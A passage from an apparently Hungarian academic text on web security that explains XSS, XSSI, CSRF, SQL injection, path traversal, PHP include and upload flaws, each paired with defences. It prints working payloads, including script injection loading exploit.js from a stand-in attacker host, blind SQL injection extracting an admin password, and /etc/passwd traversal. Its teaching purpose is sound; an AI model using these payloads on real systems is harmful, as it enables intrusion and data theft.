Ez azonban megkerülhető úgy, hogy megpróbál egy képet betölteni a www.tamado.hu
címről, melynek GET paraméterben átadja a kérdéses információt, melyet a célgép
egyszerűen eltárol egy fájlban vagy adatbázisban. Ezt felhasználva a későbbiekben – ha a
munkamenet még él – a támadó be tud lépni az áldozat nevében, üzeneteket küldhet,
megváltoztathatja a beállításait, vagy ellophatja a személyes adatait.

25
3.3.2. Áldozat nevében történő cselekvés

Korábban szó esett arról, hogy a teljes identitás ellopásához az is szükséges, hogy a
megtámadott web-oldal ne ellenőrizze a kliensek IP-címét. A most bemutatott módszer
viszont az ellenőrzés megléte esetén is működik, és – a legtöbb esetben – észrevétlen az
áldozat számára.

// Készítsünk egy iframe-et


var iframe = document.createElement('iframe');
// Ágyazzuk be a body-ba
document.getElementsByTagName('body')
[0].appendChild(iframe);
// Tegyük láthatatlanná
iframe.style.visibility = 'hidden';
// Töltsük be az eredeti oldalt, és végezzük el
// rajta azt, amit csak szeretnénk
iframe.src = 'http://www.pelda.hu/secret';
// Várjuk meg, hogy az oldal betöltődjön
iframe.onload = function ()
{
iframe_doc = iframe.contentDocument;
// Kérdezzünk le valamilyen érzékeny adatot,
// majd jelenítsük meg
var secret =
iframe_doc.getElementById('secret').innerHTML;
alert(secret);
};

26
Ezzel a megoldással – az alkalmazástól függően – a felhasználó nevében üzeneteket
írhat, átállíthatja a beállításait, vagy akár törölheti a profilját anélkül, hogy azt az áldozat
észrevenné. Ezen kívül alkalmas arra is, hogy a fent bemutatott módszer segítségével
ellopja a felhasználó titkos kérdésére adott választ (jelen példában a secret azonosítóval
rendelkező elem tartalmát), és így megváltoztassa a jelszavát.

3.3.3. XSS Wormok

A wormok olyan számítógépes programok, melyek képesek önmagukat


reprodukálni és terjeszteni, felhasználói interaktivitás nélkül. Az XSS wormokat a támadók
akkor használják, ha gyorsítani szeretnék a rossz indulatú programjaik elterjedését. A
támadások céljai a legtöbb esetben közösségi oldalak, fórumok, képmegosztó és azonnali
üzenetküldő alkalmazások. Természetesen ezek a programok – azon kívül, hogy terjesztik
önmagukat – valamilyen nemkívánatos tevékenységet is végeznek, például adatokat lopnak
és juttatnak el a támadó számára.

Példaként tekintsünk egy olyan fórumot, ahol számos témához lehet hozzászólni.
Tegyük fel, hogy egy támadó talált a hozzászólás hozzáadásában valamilyen XSS
sebezhetőséget. Ha ezt úgy használja ki, hogy minden témához hozzáad egy fertőzött
hozzászólást, akkor gyanússá válhat, valamint megkönnyíti a moderációt. Ezzel szemben,
ha készít egy olyan wormot, mely véletlenszerűen választ egy fórumtémát – melybe beírja
önmagát – akkor az összes ilyen worm példány más és más felhasználó neve alatt fog
szerepelni, ami megnehezíti a worm felszámolását.

Bizonyos fejlettebb wormok képesek arra is, hogy a forráskódjukat minden egyes
tovaterjedésük során megváltoztassák. Ennek a hatására a web-oldal üzemeltetője nem
feltétlenül tudja minta alapján kiszűrni a fertőzött bejegyzéseket.

27
A wormok legnagyobb veszélye, hogy rendkívül gyorsan terjednek, és az
üzemeltetők általában nincsenek felkészülve a megfékezésükre. Jellemző, hogy amire
sikerül megszabadulni tőlük, addigra már nagy számú felhasználó érintetté válik.

3.3.4. Böngésző exploit

Sok esetben a támadó célja az, hogy egy hátsó kaput (backdoor) nyisson az áldozat
gépén, mely segítségével a későbbiekben adatot tud lopni, kéretlen reklámlevelet (spam)
tud küldeni, vagy további támadásokat tud indítani. Ilyenkor általában egy ismert böngésző-
sebezhetőséget (exploit) [63] használ ki. Ehhez a weben több adatbázis is elérhető, a
legismertebb a Metasploit [64]. A támadó ennek segítségével megpróbálhat egy ismert
böngésző-sebezhetőséget kihasználni, mely az esetek többségében sikerrel is jár, hiszen a
felhasználók nagy része – a kényelmetlenség, vagy ismerethiány miatt – nem frissíti
rendszeresen az alkalmazásait.

3.4. Karakterkódolásos XSS

Néha annak ellenére is használható a Cross-site scripting, hogy a fejlesztők


megpróbálnak védekezni ellene a problémát okozó karakterek lecserélésével. Az erre
alkalmazott program azonban nem mindig ugyanazt a karakterkódolást használja, mint amit
a böngésző. Ebben az esetben a támadó egy megfelelően manipulált UTF-8 kódolást [65]
használó karaktersorozattal el tudja kerülni, hogy a szerver-oldal átalakítsa a bejuttatott
HTML vezérlőkaraktereket. Ezt úgy teheti meg, hogy elküld egy olyan byte-ot, melyet a
szabvány szerint az őt követő byte-tal együtt kell értelmezni. Ilyen karakter lehet például
egy 128 és a 192-es byte közötti. Ezután beír egy vezérlőkaraktert, mint például a kisebb-
nagyobb jelet. Ha ezt a szerver egy darab UTF-8-as karakterként értelmezi, akkor nem
fogja lecserélni, vagyis eljut a böngészőbe az ártalmas kód.
28
Védekezni ellene úgy tudunk, hogy ellenőrizzük, és szükség esetén módosítjuk a
karakterkódolásra vonatkozó beállításokat a kiszolgálón.

3.5. Speciális karakterek használata a JavaScriptben

Ahogy a korábbi példáknál láthattuk, ahhoz, hogy egy megfelelő bonyolultságú


JavaScript program bejusson egy rendszerbe, szükség van számos speciális karakterre, mint
például az utasítások végét jelző pontosvesszőkre, vagy a karaktertömböket (string)
határoló idézőjelekre. Ezeket a karaktereket sok esetben tiltják, azonban ilyenkor is le lehet
futtatni összetettebb algoritmusokat a következőkben ismertetett módon.

A JavaScript nyelv String [66] objektumának egyik beépített metódusa a


fromCharCode() [67], mely tetszőleges számú egész számot (integer) fogad el
paraméterként, visszatérési értéke pedig az ennek megfelelő karakterek konkatenációja.
Vagyis az alábbi kód lefuttatása után a my_var változó értéke „ELTE” lesz:

var my_var = String.fromCharCode(69, 76, 84, 69);

Ennek a visszatérési értéke átadható az eval() [68] függvénynek, mely a kapott


karaktertömböt értelmezi és lefuttatja. Az alábbi programrészlet eredménye egy felugró
ablakban megjelenő „ELTE” lesz.

eval(String.fromCharCode(97, 108, 101, 114, 116, 40,


34, 69, 76, 84, 69, 34, 41, 59))

Vegyük észre, hogy a forrás nem tartalmaz sem idézőjelet (") sem pedig aposztrófot
('), mégis használja az „ELTE” karakterláncot.
29
3.6. Kliens-oldali kódinjektálás (Client-side code injection)

A legtöbb esetben a web-fejlesztők úgy próbálják elkerülni a rosszindulatú kódok


bejuttatását a rendszerbe, hogy az összes felhasználótól illetve adatbázisból származó
információban a HTML elemeket határoló speciális karaktereket lecserélik. Sok esetben ezt
már maga a framework vagy a „sablon motor” (template engine) [69] teszi meg, ez azonban
nem mindig nyújt megfelelő védelmet.

Néha elkerülhetetlen, hogy a HTML forrásba – a legtöbbször eseménykezelés


céljából – különféle JavaScript betéteket tegyünk. Ilyenkor gyakran előfordul, hogy az ezt
kezelő függvények paramétereiben dinamikus adatokat adunk át. A könnyebb érthetőség
kedvéért ezt egy példán keresztül szemléltetem:

Tételezzük fel, hogy egy webes galériát készítünk, melyben a képekhez címek
tartoznak, amelyeket a felhasználók adhatnak meg. Ebben az esetben a szerver egy
lehetséges implementációja az alábbi lehet:

$images = getImages();
foreach ($images as $image)
echo '<img src="' . $image['file_name']
. '" onclick="showImage(\''
. $image['file_name'] . '\', \''
. $image['title'] . '\');" />';

Ennek eredményeképpen a következőhöz hasonló HTML részt fog értelmezni a


böngésző:

30
<img src="1.jpg" onclick="showImage('1.jpg',
'Cím');" />

A showImage() függvény szerepe, hogy megjelenítse a kiválasztott képet


nagyobb méretben, a megadott címmel együtt. Vizsgáljuk meg, hogy mi történik, ha a
támadó az alábbi címet adja meg:

Cím'); alert(42); var dummy=('

Ekkor a HTML az alábbiak szerint alakul:

<img src="1.jpg" onclick="showImage('1.jpg', 'Cím');


alert(42); var dummy=('');" />

Ez azt jelenti, hogyha a felhasználó rákattint egy ilyen képre – hogy megnézze
nagyobb méretben – akkor miután lefutott az azt lehetővé tevő showImage() függvény,
lefut a támadó által hozzáadott kód is. A példában szereplő dummy nevű lokális változó
szerepe mindössze annyi, hogy megelőzze a szintaktikai hibát.

A fenti példában csak akkor fut le az ártó szándékú kód, ha a felhasználó rákattint az
adott képre. Ennek a támadásnak létezik azonban egy olyan változata is, mely nem igényli
ezt a fajta interakciót:

Cím');" onload="alert(42);" dummy=('

Ekkor az alábbi HTML forrást kapjuk:

31
<img src="1.jpg" onclick="showImage('1.jpg', 'Cím');"
onload="alert(42);" dummy=('');" />

Vagyis ebben a példában már a kép betöltésekor lefut a bejuttatott kód, nincs
szükség a felhasználó közreműködésére.

Mit tehet a támadó akkor, ha csak olyan HTML elembe képes JavaScriptet
injektálni, mely nem támogatja az onload eseményt? Ekkor használhatja a mouseover
illetve a mousemove eseménykezelőket – kiegészítve stíluslap (Cascading style sheets)
fertőzéssel –, mely lehetővé teszi, hogy az adott elem a teljes képernyőt elfoglalja, ezzel
kiváltva a fent említett eseményeket.

Néhány böngésző támogatja az úgynevezett dinamikus tulajdonságok (dynamic


properties) [70] használatát. Ennek segítségével a fejlesztőnek lehetősége van arra, hogy ne
egy konstans értéket állítson be a stíluslapban, hanem függővé tegye azt valamitől. Erre
akkor lehet szükség, amikor maximalizálni szeretnénk egy elem szélességét:

#en_divem
{
width: expression(document.body.clientWidth >
800? "800px": "auto");
}

A megoldás legnagyobb hátránya, hogyha a támadónak sikerül a CSS-be saját


értéket injektálni, akkor lehetősége lesz ártó szándékú kód lefuttatására is.

Természetesen a felhasználótól érkező adatok ellenőrzése, illetve a generált kódba


kerülő speciális karakterek kicserélése ezen támadások ellen is védelmet nyújt.

32
3.7. Külső JavaSript fájl betöltése

A korábbi példákban bemutattam, hogy néhány sor JavaScript bejuttatása a


rendszerbe sok esetben egyszerű lehet egy felkészültebb támadó számára. Mit tehet
azonban akkor, ha egy sokkal komplexebb programot szeretne végrehajtatni az áldozat
böngészőjével? Természetesen erre is van megoldás.

var script = document.createElement('script');


script.type = 'text/javascript';
script.src = 'http://www.tamado.hu/exploit.js';
document.body.appendChild(script);

A fenti kód dinamikusan létrehoz egy <script> tag-et, ami a távoli


http://www.tamado.hu alatt található exploit.js nevű fájlra mutat, mely a rosszindulatú
programot tartalmazza. Az utolsó sor a frissen elkészített elemet a body-ba ágyazza, mely
szükséges ahhoz, hogy a távoli fájlt letöltse a böngésző.

Ezt a funkcionalitást azonban sokkal rövidebben is le lehet írni, mely fontos lehet
akkor, ha például limitált a bejuttatható karakterek száma:

d=document;d.body.appendChild(d.createElement('script'
)).src='http://www.tamado.hu/exploit.js';

Az exploit.js már tetszőleges mennyiségű forráskódot tartalmazhat, illetve azonos


kontextusban fog futni, mint a beinjektált kód.

E támadás ellen önmagában nem lehet védekezni, sokkal inkább azt kell elérni, hogy
a támadó semmilyen módon ne legyen képes bejuttatni az ártó szándékú kódrészletet.

33
3.8. Cross Site Script Inclusion (XSSI)

A böngészők nem engedik meg, hogy egy domain-ről egy másik domain által
biztosított információhoz hozzáférjünk, amint az a Same origin policy (2.5.1) című
fejezetben látható volt. Képesek azonban hivatkozni más domain-eken lévő erőforrásokra,
ami lehet egy kép, vagy egy távoli JavaScript fájl. Ilyen esetben kiemelten fontos tudnunk,
hogy a külső script annak a domain-nek a jogosultságaival fut, amely arra hivatkozott.

A mai trendeknek megfelelően, számos weben található alkalmazás használ távoli


aszinkron hívásokat (AJAX – Asynchronous JavaScript and XML) [71]. Ennek segítségével
interaktívabbá tehető az alkalmazás, hiszen így anélkül frissíthetőek bizonyos információk,
hogy újra kéne tölteni a teljes lapot. Ennek azonban számos negatív következménye lehet,
melyet egy példán keresztül szemléltetek.

Tételezzük fel, hogy egy e-mailek küldésére és fogadására alkalmas, webes


felülettel rendelkező rendszert készítettünk. A még kényelmesebb használat érdekében
AJAX technológia segítségével kérjük le a legfrissebb leveleket. Nyilvánvaló, hogy ezek
érzékeny illetve személyes adatokat is tartalmazhatnak, vagyis nem engedhetjük, hogy
harmadik fél megszerezze őket.

A frissítéshez használt JavaScript – a kevesebb és érthetőbb forráskód kedvéért – a


népszerű jQuery [72] keretrendszert használja. Alább látható a forráskód egy részlete:

34
// Az új leveleket illeszti be a web-oldalba
function insertMails(mails)
{
...
}
// Az új levelek lekérdezését lehetővé tevő függvény
function fetchMails()
{
$.get('ajax.php', function(data) {
eval(data);
});
}

Maga a frissítés úgy történik, hogy rendszeres időközönként egy időzítő


segítségével meghívjuk a fetchMails() függvényt, mely lekérdezi az ajax.php
tartalmát, és végrehajtja a benne szereplő utasításokat. Egy lehetséges válasz a követező
lehet:

insertMails([
{
"sender": "valaki@pelda.hu",
"subject": "Privát üzenet",
"body": "Ez egy személyes üzenet"
}
]);

35
Ahogy a példa is mutatja, a válaszban szereplő függvényhívás paraméterei
tartalmazzák a személyes információkat.

Tételezzük fel, hogy a támadó elnavigálja a saját web-oldalára az áldozatot –


például egy üzenet segítségével – miközben a mi alkalmazásunkat is használja. Ebben a
web-oldalban szerepelhet az alábbi HTML kód:

<script type="text/javascript">
function insertMails(mails)
{
for (var i = 0; i < mails.length; i++)
{
alert("Feladó: " + mails[i]['sender'] +
"\nTárgy: " + mails[i]['subject'] + "\nÜzenet: " +
mails[i]['body']);
}
}
</script>
<script type="text/javascript"
src="http://www.pelda.hu/ajax.php"></script>

Nézzük meg, hogy mi történik ebben az esetben! Először is az első blokkban


definiáljuk az insertMails() nevű függvényt, mely – az eredeti funkciójával
ellentétben – a kapott levelekre vonatkozó információkat jeleníti meg egy ciklus
segítségével.

36
Az ezt követő blokk betölti a pelda.hu-n lévő ajax.php-t, mint külső JavaScript fájl.
Mivel a böngészők ilyen esetben elküldik a pelda.hu-hoz tartozó sütiket, így a web-szerver
nem tud különbséget tenni egy ilyen kérés, illetve egy szabályos – saját domain-ről érkező
– között. Ezek együttes eredményeként a támadó web-oldalán egy felugró ablakban
megjelennek a levelekre vonatkozó információk. Természetesen egy valódi támadó a
felugró ablakok helyett eltárolja a leveleket, a későbbi felhasználás céljából.

Az eddig leírtak alapján egy jó megoldásnak tűnik, ha a válaszba nem


függvényhívásokat teszünk, hanem csak magát az adatot, például JSON (JavaScript Object
Notation) [73] formátumban. Ehhez természetesen módosítanunk kell a fetchMails()
függvényünket:

// Az eval() használata helyett hívjuk inkább a


// megfelelő függvényt
függvényfunction fetchMails()
{
$.get('ajax.php', function(data) {
mails = data;
insertMails(mails);
});
}

Ekkor a válaszban már nem kell szerepelnie a függvényhívásnak, elegendő


definiálnunk egy tömböt, melynek elemei az üzenetek:

37
[
{
"sender": "valaki@pelda.hu",
"subject": "Privát üzenet",
"body": "Ez egy személyes üzenet"
}
]

Látható, hogy ebben az esetben nincs mód a korábban ismertetett támadás


véghezvitelére. Ennek ellenére egy kis módosítással – bizonyos böngészők alatt – még
mindig elérheti a támadó a kívánt adatokat azzal, hogy felüldefiniálja az Array és az Object
konstruktorát. E sebezhetőség szerencsére már nem érinti az új verziókat, ennek ellenére
fontos, hogy felkészítsük az alkalmazásunkat ellene.

A védekezés egy lehetséges módja, ha az AJAX kérésben minden esetben


megkövetelünk egy egyedi azonosítót (token), lehetőleg POST paraméterként. Ezt a támadó
nem fogja tudni átadni a <script> elem használatával. Egy másik megoldás lehet, ha a
küldött JSON struktúrát érvénytelenné tesszük, például azzal, hogy prefixeljük egy „{”
karakterrel. Természetesen kliens-oldalon levágjuk ezt a karaktert, így eljutunk a
biztonságos megoldásig:

38
// Adjunk át egy egyedi azonosítót a függvénynek
function fetchMails(token)
{
// Használjunk POST-ot
$.get('ajax.php', { 'token': token },
function(data) {
// Vágjuk le a felesleges '{' karaktert
mails = data.substr(1);
insertMails(eval(mails));
}
);
}

3.9. XSRF (Cross-site request forgery)

A most ismertetett sebezhetőség szintén arra épül, hogy a böngészők minden esetben
elküldik a domain-hez tartozó sütiket, függetlenül attól, hogy melyik web-oldal intézte a
kérést. A megértéséhez – az előző példát továbbgondolva – tegyük fel, hogy a levelezést
biztosító szolgáltatásunk levélküldő űrlapja (form) így néz ki:

<form method="get" action="sendmail.php">


<input type="text" name="to"/>
<input type="text" name="subject"/>
<input type="text" name="body"/>
</form>

39
Ha a felhasználót a támadó elnavigálja a saját web-oldalára, akkor – élő
munkamenetet feltételezve – képes lehet arra, hogy üzenetet küldjön a nevében. Ehhez
nincs másra szüksége, mint egy – az eredetivel megegyező – HTTP kérés elküldésére. Ezt
legegyszerűbben úgy teheti meg, hogy megfelelően felparaméterez egy <img> tag-et:

<img src="sendmail.php?to=valaki@pelda.hu&subject=T
%C3%A1rgy&body=%C3%89n%20vagyok%20a%20t%C3%A1mad
%C3%B3"/>

Ennek hatására az áldozat – tudtán kívül – üzenetet küld a valaki@pelda.hu címre


azzal a szöveggel, hogy „Én vagyok a támadó”.

Evidens megoldásnak tűnik az, hogy a GET helyett csak POST-ot engedünk meg az
ilyen típusú kérésekben. Ezzel elkerülhető, hogy a támadó egy kép betöltésével intézzen
ilyen típusú kéréseket a web-szerverünk felé. Ez azonban nem biztosít megfelelő védelmet,
mert a támadó képes arra, hogy a felépítsen egy – az előzővel azonos – űrlapot, melyet
JavaScript segítségével el is tud küldeni. Ha mindezt egy elrejtett <iframe>-be ágyazza,
akkor az áldozat semmit sem fog észrevenni ebből.

Néha a fejlesztők azt a megoldást alkalmazzák, hogy az említett funkciók esetében a


szerver-oldalon ellenőrzik az úgynevezett HTTP referrer-t [74]. Ez megadja az oldalhoz
tartozó URL-t, amelyről a kérés érkezett, így detektálhatóvá válnak az ilyen jellegű
próbálkozások. Ez a módszer azonban nem minden esetben használható, hisz sok
felhasználó kikapcsolja a referrer elküldését, illetve néhány böngésző alapbeállításokat
használva szintén nem küldi el a hivatkozó lap címét.

40
Biztonságosabb és teljesebb megoldás, ha a szerver-oldalon minden egyes
munkamenethez véletlenszerűen egy azonosítót (token) generálunk, melyet eltárolunk,
valamint az összes űrlapba beágyazunk. Amikor egy kérés érkezik a klienstől, akkor
ellenőrizzük, hogy a kapott azonosító megegyezik-e az általunk eltárolttal. Mivel a támadó
ehhez nem fér hozzá, így nem lesz képes a megfelelő kérés összeállítására, és így az áldozat
nevében történő üzenet küldésére.

3.10. SQL injektálás (SQL injection)

Az egyik legismertebb biztonságtechnikai sebezhetőség, az úgynevezett SQL


injektálás [75]. Az összes olyan – asztali és webes – alkalmazás érintett lehet, mely relációs
adatbázisban tárolja az adatait, és strukturált lekérdező nyelvet (Structured Query
Language) [76] használ az adatok létrehozására, módosítására és lekérdezésére.

Az alábbi példákban a – széles körben elterjedt – MySQL-t [77] használom, de


egyéb adatbázis-kezelő rendszerekre is érvényesek a következőkben leírtak.

A bemutatott támadás azt használja ki, hogy sok esetben az óvatlan alkalmazás-
fejlesztő a lekérdezésekbe – módosítás nélkül – beilleszt olyan értékeket, melyeket a
felhasználó ad meg. A klasszikus példa egy bejelentkező-képernyő, mely egy
felhasználónevet és egy jelszót fogad. Miután azt megadta a felhasználó, a szerver oldali
kód lefuttat egy ehhez hasonló lekérdezést, hogy eldöntse, jogosult-e a belépésre:

SELECT username FROM users WHERE username =


'<felhasználónév>' AND password = '<jelszó>';

Vizsgáljuk meg, hogy mi történik akkor, ha felhasználó a „felhasznalo” névvel, és a


„jelszo' OR 1 = '1” jelszóval próbál belépni. Ekkor a fenti sor a következőképpen alakul:

41
SELECT username FROM users WHERE username =
'felhasznalo' AND password = 'jelszo' OR 1 = '1';

Figyelembe véve a – példában használt – MySQL precedencia szabályait [78],


először az „és” (AND) értékelődik ki, majd a „vagy” (OR). Mivel a vagy feltételnek a jobb
oldala minden esetben igaz, ezért a lekérdezésnek minden esetben lesz eredménye, vagyis a
rendszer beléptet abban az esetben is, ha nem megfelelő jelszót adtunk meg.

Egy másik módszer, hogy a támadó lezárja az aktuális lekérdezést, és egy másikat
fűz hozzá. Ezzel lehetősége van adatok módosítására, vagy törlésére is. Természetesen ezt
csak akkor teheti meg, ha be van kapcsolva az ezt szabályzó kapcsoló:

MYSQL_OPTION_MULTI_STATEMENTS_ON

Felmerülhet bennünk a kérdés, hogy a támadó honnan tudhatja, hogy milyen


táblaneveket illetve mezőket használunk az adatbázisban, illetve mi ezeknek az értéke.
Létezik egy olyan módszer, mellyel – bizonyos feltételek mellett – a teljes adatbázis
feltérképezhető. Ehhez az kell, hogy a támadó eldöntendő kérdéseket tudjon feltenni a
szervernek, mely megvalósítható a korábbi bejelentkező-képernyő segítségével. Ekkor a
szerver bináris válasza alapján kiderül, hogy sikerült-e a bejelentkezés vagy sem.

Tegyük fel, hogy a támadó meg akarja szerezni az admin nevű felhasználóhoz
tartozó jelszót. Ehhez olyan eldöntendő kérdéseket kell konstruálnia, melyekre a kapott
válaszból ezt meg tudja határozni. Természetesen – a web szerverek válaszideje miatt –
nem használhat „nyers erő” (brute force) [79] támadást, mely során az összes lehetséges
jelszót végigpróbálná, ennél kevesebb lekérdezésből kell elérnie a célját. Az ehhez vezető
módszer a bináris vagy logaritmikus keresés (binary search) [80]. Ezt alkalmazva
nagyságrendekkel csökkenthető a szükséges próbák száma. Ennek lépései:

42
a) Meghatározza a jelszó hosszát logaritmikus kereséssel:

jelszo' UNION (SELECT username FROM users WHERE


username = 'admin' AND LENGTH(password) > 16 LIMIT 1)
–-

Ennek az eredménye a következő lekérdezés lesz:

SELECT username FROM users WHERE username = 'admin'


AND password = 'jelszo' UNION (SELECT username FROM
users WHERE username = 'admin' AND LENGTH(password) >
16 LIMIT 1) -– ';

Ebben a LENGTH() [81] függvény a jelszó hosszával tér vissza, melyet


összehasonlít a konstans 16-tal, majd ellenőrzi, hogy sikerült-e belépnie. Ha igen, akkor
ismert számára, hogy a jelszó hossza több mint 16 karakter, ha nem, akkor tudja, hogy 16
vagy annál rövidebb. Feltéve, hogy a jelszó nem hosszabb, mint 32 karakter, maximum
log232, azaz 5 lépésre van szüksége, hogy kiderítse a pontos hosszt. Tegyük fel, azt találta,
hogy a jelszó hossza 6 karakter.

b) Meghatározza a jelszó első karakterét:

Ehhez mindössze az előző módszer karakterekre való átültetésére van szükség,


melyet a jelszó mezőbe írt következő érték valósít meg:

jelszo' UNION (SELECT username FROM users WHERE


username = 'admin' AND MID(password, 1, 1) > 'm' LIMIT
1) --

43
Ennek eredménye egy olyan lekérdezés, melynek visszatérési értéke az első
karakterre vonatkozó információval fog szolgálni:

SELECT username FROM users WHERE username = 'admin'


AND password = 'jelszo' UNION (SELECT username FROM
users WHERE username = 'admin' AND MID(password, 1, 1)
> 'm' LIMIT 1) -- ';

Ebben a lekérdezésben a MID() [82] függvény – mely azonos a SUBSTRING()-


gel – az első paraméterként kapott karaktertömb első karakterét adja vissza. Ez
összehasonlítható az „m” betűvel, így minden egyes lépésben felezhető a lehetséges
karaktereket tartalmazó intervallum. Ennek segítségével – feltéve, hogy maximum 64-féle
karakter szerepel a jelszóban – log264, azaz 6 lépésben meghatározható az első karakter.

c) Meghatározza a jelszó többi karakterét:

Ehhez mindössze arra van szüksége, hogy a MID() függvény második


paraméterében az 1-et átírja arra a számra, ahányadik karaktert ki akarja deríteni.

Látszik, hogy a jelenlegi példában a jelszó kitalálásához mindössze 41 (=5+6*6)


próbára van szükség, ami könnyedén elvégezhető. Az előzőekben ismertetett megoldás
segítségével nem csak a mezők értékei határozhatóak meg, hanem – némi automatizálás
után – a teljes adatbázis feltérképezhető. Mindezért kiemelten fontos védekeznünk ellene.

Ahhoz, hogy elkerüljük az ilyen típusú támadásokat, az összes felhasználótól érkező


adat esetében szükségünk van arra, hogy az SQL vezérlőkaraktereit lecseréljük. Ezt –
amennyiben a felhasznált programnyelv PHP – legegyszerűbben a
mysql_real_escape_string() [83] segítségével tehetjük meg, mely minden olyan
karaktert eltávolít, melyet az adatbázis speciálisan kezel.

44
3.11. Path or directory traversal

Számos web-alkalmazás használ statikus erőforrásokat, mint például képeket,


stíluslapokat. Gyakran ezek kiszolgálását – teljesítménybeli szempontok miatt – tisztán a
web-szerverre bízzák. Ezt úgy valósítják meg, hogy ezen fájlokat egy – kívülről elérhető –
külön könyvtárba teszik. Ha nem megfelelően konfigurált a web-szerver (pl.: Apache),
akkor előfordulhat, hogy a támadó olyan állományokhoz is hozzáfér, melyek érzékeny
adatokat tartalmaznak. Képzeljük el, hogy egy külön fájlban tartjuk az adatbázishoz tartozó
felhasználónevet és jelszót. Ha a támadó ezt megszerzi, akkor hozzáférhet az összes benne
tárolt adathoz, amit nem engedhetünk meg.

Maga a támadás azt használja ki, hogy a „..” – Windows és Linux platformon is –
a szülő könyvtárra mutat, így az alkalmazás „feletti” könyvtárhoz is hozzá férhet a támadó.
Nézzük meg, hogy mi történik, ha beírja a böngészőjébe a következő címet:

http://www.pelda.hu/../../etc/passwd

Ekkor – néhány böngésző esetében – a HTTP fejléc eleje így fog kinézni:

GET /etc/passwd HTTP/1.1


Host: localhost

Ennek az oka, hogy sok esetben már maguk a böngészők végeznek egyfajta
optimalizációt és átalakítást a kapott URL-en, hogy megkönnyítsék a kiszolgálók dolgát,
illetve csökkentsék a hálózati adatforgalmat. Ilyen esetben használható a cURL [84] nevű
program, mely segítségével tetszőleges HTTP kérés kiadható.

45
Linux rendszerek esetében nem csak a „..”, hanem a „~” (hullám, tilde) karakter is
veszélyes lehet, mely a felhasználók saját könyvtáraihoz nyújt hozzáférést.

Védekezni ellene úgy lehet, hogy olyan beállításokat alkalmazunk a szerveren,


melyek nem teszik lehetővé, hogy az alkalmazás gyökérkönyvtárából „kiléphessen” a
támadó. Egy másik gyakori megoldás Linux rendszereken, hogy magát a web-alkalmazást
és a hozzá tartozó erőforrásokat egy saját chroot környezetben (chroot jail) [85] helyezik el.
Ez akkor is védelmet biztosít, ha a támadó valamilyen módon kijut az alkalmazás
könyvtárából, hisz magához a fő rendszerhez így sem fog tudni hozzáférni.

3.12. PHP include sebezhetőség

A PHP include sebezhetőség a korábban bemutatott Path or directory traversal


támadáshoz hasonló. A támadó célja itt is az, hogy olyan fájlokhoz férjen hozzá, melyekhez
nincs jogosultsága.

Sok kiszolgáló esetében találkozunk olyan megoldással, hogy egy GET


paraméterben várja a kiszolgáló a kért oldal nevét, vagyis a főoldal a követezőképpen
érhető el:

http://www.pelda.hu/?oldal=fooldal

Ezt a szerver-oldalon sok esetben – hibásan – az alábbi módon valósítják meg:

<?php
include($_GET['oldal'] . '.php');
?>
46
Ilyen esetben szintén működhet a korábban ismertetett támadás, vagyis a „..”
segítségével az alkalmazáson kívüli PHP fájlokra is hivatkozhat a támadó. Mit tehet
azonban akkor, ha nem „.php” kiterjesztésű fájlt akar betölteni? Sajnos ezt is megteheti, ha
az alábbi címet írja be a böngészőjébe:

http://www.pelda.hu/?oldal=proba.txt%00

Amikor a web-szerver továbbadja az oldal nevű paramétert a PHP-nak, kicseréli a


„%00”-t egy darab nulla byte-ra [86]. Mivel a PHP interpreter C nyelven íródott, ezért C-s
módon kezeli a karaktertömböket, vagyis egy karaktertömb mindig az első nulla byte-ig
tart. Ez a jelen példában azzal jár, hogy a paraméterhez fűzött „.php” kiterjesztést nem fogja
figyelembe venni, vagyis a proba.txt nevű fájlra fog hivatkozni.

Ennél sokkal súlyosabb a sebezhetőség, ha a php.ini konfigurációs fájlban be van


kapcsolva az allow_url_include [87] kapcsoló. Ebben az esetben az include()
[88] beépített PHP függvény elfogad paraméterként URL-t is. Ez azt jelenti, hogyha a
támadó készít egy PHP állományt, és elhelyezi azt a http://www.tamado.hu/exploit.php
címen, akkor az ebben szereplő utasításokat a pelda.hu-t kiszolgáló szerver végre fogja
hajtani. Ebben az esetben a támadó az exec() [89] függvény segítségével tetszőleges
programot tud futtatni a szerveren a web-szerver jogosultságaival, vagyis képes olvasni,
módosítani és törölni az összes adatot.

Láthattuk, hogy ez a támadás nagyon súlyos következményekkel járhat, így


fokozottan fontos az ellene való hatékony védekezés. A legfontosabb, hogy kapcsoljuk ki a
allow_url_include kapcsolót. Ezen kívül, amikor átvesszük az oldal nevű
paramétert, validáljuk. Ez legegyszerűbben egy reguláris kifejezéssel tehető meg, mely csak
az angol ABC karaktereit fogadja el:

47
preg_match('/^[a-z]+$/', $_GET['oldal'], &$matches);
if (count($matches) != 1)
throw new Exception('Ervenytelen parameter');

Ezen kívül lehetőség van arra is, hogy felsoroljuk a paraméter lehetséges értékeit, és
amennyiben nem ezek közül kapunk valamit, úgy visszairányítjuk a főoldalra a látogatót:

$pages = array('fooldal', 'termekek', 'kapcsolat');


$page = $_GET['oldal'];
// Ha egyik sem a felsoroltak közül, akkor vissza
// a főoldalra
if (!in_array($page, $pages))
$page = 'fooldal';

Természetesen számos egyéb megoldás közül is választhatunk, szem előtt tartva,


hogy ellenőrzés nélkül ne adjunk át semmilyen paramétert az include() függvénynek.

3.13. A feltöltött fájlok veszélyei

Számos web-alkalmazás lehetőséget ad arra, hogy a felhasználók valamilyen fájlt –


mely többnyire kép – feltölthessenek a számítógépükről. Ebben a fejezetben azt mutatom
be, hogy ezen funkciónak milyen veszélyei lehetnek.

Példaként tételezzük fel, hogy egy olyan alkalmazást készítünk, ahova a


felhasználók képeket tölthetnek fel magukról, hogy azt másoknak megmutathassák az
interneten keresztül. Implementáljuk ezt a lehető legegyszerűbb módon:

48
copy($_FILES['kep']['tmp_name'], 'kepek/' .
$_FILES['kep']['name']);

Vagyis a kep néven feltöltött képet másoljuk át a kepek könyvtárba olyan néven,
amilyenen azt a felhasználó elnevezte. Itt rögtön felmerül az a probléma, hogy a
felhasználók egymás képeit könnyedén felülírhatják abban az esetben, ha azonos névvel
látták el képeiket.

Látható az is, hogy semmilyen módon nem ellenőrizzük azt, hogy a felhasználó
tényleg egy képet töltött-e fel. Mi történik akkor, ha a támadó feltölt egy exploit.php-t,
melybe ártó szándékú utasításokat tesz? Természetesen az is bekerül a kepek könyvtár alá,
így könnyedén meghívhatóvá – és lefuttathatóvá – válik.

Javítsunk az implementáción úgy, hogy csak „.jpg” és „.png” kiterjesztésű fájlokat


fogadjunk el, valamint ellenőrizzük a fájl típusát is:

$extension = substr($_FILES['kep']['name'], -4);


$type = $_FILES['kep']['type'];
